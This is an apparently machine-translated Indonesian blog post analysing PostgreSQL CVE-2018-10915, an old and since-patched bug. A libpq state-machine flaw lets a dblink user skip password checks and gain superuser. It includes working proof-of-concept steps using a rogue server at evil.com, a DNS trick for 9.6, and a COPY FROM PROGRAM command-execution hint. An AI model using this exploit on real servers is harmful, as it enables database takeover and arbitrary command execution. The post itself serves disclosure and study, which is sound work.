Eskalasi hak istimewa PostgreSQL - parsing CVE-2018-10915

KDPV

Bukan rahasia lagi kalau mobil negara ada di antara kita. Mereka ada di mana-mana, dari UI hingga tumpukan jaringan. Kadang rumit, kadang sederhana. Terkadang terkait keamanan, terkadang tidak terlalu. Tapi, seringkali, cukup menarik untuk dipelajari :) Hari ini saya ingin berbicara tentang satu kasus lucu dengan PostgreSQL - CVE-2018-10915 , yang memungkinkan untuk meningkatkan hak istimewa untuk superuser.


Intro kecil


Seperti yang Anda ketahui, basis data yang dikelola mengatur laju dunia. Tidak mengherankan - jika Anda memiliki aplikasi sederhana, tidak menuntut, lalu mengapa mengutuk dengan persiapan basis Anda sendiri. Memang, dengan sebagian besar penyedia cloud (atau khusus), Anda bisa mendapatkan sendiri database MySQL / PostgreSQL / MongoDB / etc dan hidup bahagia selamanya. Tentu saja, ini menyebabkan masalah tambahan, seperti jika sebelumnya untuk mengeksploitasi sebagian besar masalah keamanan di database Anda harus terlebih dahulu mendapatkan aplikasi (yang dengan sendirinya adalah permainan di sebagian besar kasus), sekarang mereka pantat kosong antarmuka mereka berdiri untuk penyerang. Seharusnya ada komentar tentang fakta bahwa penghalang berikutnya adalah infrastruktur berkualitas tinggi dan ini benar, tetapi hari ini bukan tentang itu.


Esensi dari CVE-2018-10915


  • Dalam kebanyakan kasus, PostgreSQL tidak memerlukan otentikasi untuk koneksi lokal. Contoh dari gambar buruh pelabuhan resmi:

# pg_hba.conf from PostgreSQL docker image # note: debian pkg marked only "local" connections as trusted # "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust 

  • berkat ekstensi dblink dan postgres_fdw , Anda dapat terhubung ke basis data jauh. Dan dilihat dari forum, konsumen sering ditanya tentang ketersediaannya;)
  • penulis sudah dibakar dengan eskalasi hak istimewa, sehingga mereka membuat peretasan yang melarang koneksi tanpa otentikasi:

 // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/contrib/dblink/dblink.c#L2621-L2639 static void dblink_security_check(PGconn *conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } } // https://github.com/postgres/postgres/blob/0993b8ada53395a8c8a59401a7b4cfb501f6aaef/src/interfaces/libpq/fe-connect.c#L6305-L6314 int PQconnectionUsedPassword(const PGconn *conn) { if (!conn) return false; if (conn->password_needed) return true; else return false; } 

  • flag password_needed diatur oleh mesin negara setelah menerima pesan AUTH_REQ_MD5 atau AUTH_REQ_PASSWORD dari server
  • libpq dapat mem-bypass beberapa IP (pg 9.x) atau host (pg 10.x / 11.x) untuk mencari yang sesuai
  • mesin keadaan bergerak ke IP / host berikutnya setelah mengatur flag password_needed dalam dua kasus yang mudah bagi kita:
    • kami ingin sesi yang dapat ditulisi ( target_session_attrs=read-write ), dan server hanya baca-saja
    • setelah menerima kesalahan unknown application_name
  • ketika pindah ke IP / host berikutnya, pqDropConnection disebut , yang sangat selektif membersihkan data koneksi (karena beberapa dari mereka mungkin diperlukan untuk koneksi kembali). Petunjuk: password_needed tidak disetel ulang
  • ini memungkinkan melewati cek dblink_security_check, sebagai ketika terhubung ke host berikutnya, bendera tetap dengan nilai sebelumnya
  • KEUNTUNGAN

Dengan demikian, jika kita memiliki pengguna dengan akses ke dblink dan PostgreSQL dengan koneksi tepercaya untuk host ini, kita dapat melewati persyaratan otentikasi dengan kata sandi, terhubung atas nama pengawas postgres , dan menjalankan apa pun atas namanya (misalnya, perintah sewenang-wenang menggunakan COPY foo FROM PROGRAM 'whoami'; ).


Dari teori ke praktek - PostgreSQL 10.4!


Tapi Anda tidak akan muak dengan hanya satu teori, jadi saya menyiapkan contoh kecil mengeksploitasi kerentanan ini. Kami akan mulai dengan PostgreSQL 10.4.


  • Pertama, tulis dan jalankan server PostgreSQL sederhana ( bogus-pgsrv ), yang akan memerlukan otentikasi kata sandi untuk setiap permintaan dan kirim kesalahan ERRCODE_APPNAME_UNKNOWN setelah menerimanya:

 $ psql "host=evil.com user=test password=test application_name=bar" psql: ERROR: unknown app name could not connect to server: Connection refused Is the server running on host "evil.com" (1.1.1.1) and accepting TCP/IP connections on port 5432? 

  • Sekarang siapkan tes PostgreSQL:

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:10.4 e5f07b396d51059c3abf53c8f4f78b0b90a9966289e6df03eb4eccaeeb364545 $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • kami memeriksa bahwa test pengguna tidak memiliki hak khusus:

 $ psql "host=localhost user=test password=test" <<'SQL' \du SQL List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test 

  • luar biasa, sekarang kami beroperasi:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=evil.com,localhost user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser 

  • itu saja. Kita dapat melakukan apapun yang kita inginkan ^ _ ^

Dari teori ke praktik - PostgreSQL 9.6!


Dengan PostgreSQL 9.x, segalanya menjadi sedikit lebih rumit, karena itu tidak mendukung penghitungan daftar host untuk terhubung. Tetapi jika alamat tersebut teratasi menjadi beberapa IP, itu akan mem-bypass mereka semua! Dan sejak itu Alamat IPv6 memiliki prioritas (lihat RFC6724 ), kami dapat melakukan hal yang sama hanya dengan menjawab IP kami ke permintaan AAAA, dan 127.0.0.1 ke koneksi yang menjatuhkan + selama beberapa detik setelah mengirim ERRCODE_APPNAME_UNKNOWN :


  • menyiapkan DNS:

 $ host 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has address 127.0.0.1 2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com has IPv6 address 2a01:7e01::f03c:91ff:fe3b:c9ba 

  • jalankan pgsql palsu yang sama
  • dan siapkan tes PostgreSQL lagi (IPv6 harus berfungsi untuk buruh pelabuhan, ini penting):

 $ docker run -it -d -p 5432:5432 -e POSTGRES_PASSWORD=somepass postgres:9.6 dfda35ab80ae9dbd69322d00452b7d829f90874b7c70f03bd4e05afec97d296c $ psql "host=localhost user=postgres password=somepass" <<'SQL' CREATE USER test WITH PASSWORD 'test'; CREATE DATABASE test; \c test CREATE EXTENSION dblink; SQL 

  • kami beroperasi:

 $ psql "host=localhost user=test password=test" <<'SQL' select * from dblink_connect('host=2a017e0100000000f03c91fffe3bc9ba.6.127-0-0-1.4.m.evil.com user=postgres password=foo application_name=bar'); select dblink_exec('ALTER USER test WITH SUPERUSER;'); \du SQL dblink_connect ---------------- OK (1 row) dblink_exec ------------- ALTER ROLE (1 row) List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} test | Superuser | {} 

  • itu saja. Kita dapat melakukan apapun yang kita inginkan ^ _ ^

Kesimpulan


Saya ingin menyimpulkan dengan menulis sesuatu yang pintar, tetapi, sayangnya, saya tidak punya cara yang baik, sederhana dan universal untuk memeriksa bahwa semuanya baik-baik saja dengan mesin negara Anda. Ada berbagai upaya, tetapi dari apa yang saya lihat mereka terlalu khusus, atau mereka masih mengatasi kesalahan logis. Masih berharap untuk kewaspadaan dan sepasang mata tambahan pada ulasan :(

Source: https://habr.com/ru/post/id440394/


All Articles